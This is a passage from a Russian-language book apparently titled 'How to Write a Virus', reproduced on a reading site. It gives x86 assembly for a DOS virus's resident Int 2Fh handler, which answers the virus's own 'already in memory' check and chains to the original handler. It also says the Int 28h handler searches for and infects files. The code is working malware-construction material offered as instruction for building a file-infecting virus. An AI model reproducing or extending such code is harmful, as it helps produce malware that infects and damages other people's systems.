"Игорь Коваль. Как написать вирус" - читать интересную книгу автора Напомним,что секция инициализации для решения ука-
занной задачи вызывает Int 2Fh c такими параметра- ми : AX = 0F000h BX = 01997h . Если вирус уже инсталлирован в память,его обработ- чик должен вернуть AL = 0FFh, это значение и ана- лизирует секция инициализации при запуске заражен- шой программы . Исходя из всего сказанного, можно написать такой фрагмент : ;------------------------------------------------- to_new_2fh equ $ - vir new_2fh: pushf cmp ax,0f000h jne cs:not_our cmp bx,1997h jne cs:not_our mov al,0ffh popf iret db 0eah old_2fh dw 0 old_2fh_2 dw 0 Если вызывается прерывание Int 2Fh с параметрами, отличными от AX = 0F000h и BX = 01997h, вирусный обработчик просто возвращает управление системно- му . В противном случае управление передается пре- рванной программе, причем в этом случае AL будет равно 0FFh. 2.21 Обработчик Int 28h Строго говоря, мы его уже написали ( см. п. 2.5 , п. 2.6 и т.д. ).Именно он занимается поиском и за- ражением файлов,пользуясь для этого функциями DOS. Но так как эти функции используются тогда, когда активно прерывание Int 28h, ничего страшного про- изойти не должно . 2.22 Область данных вируса |
|
|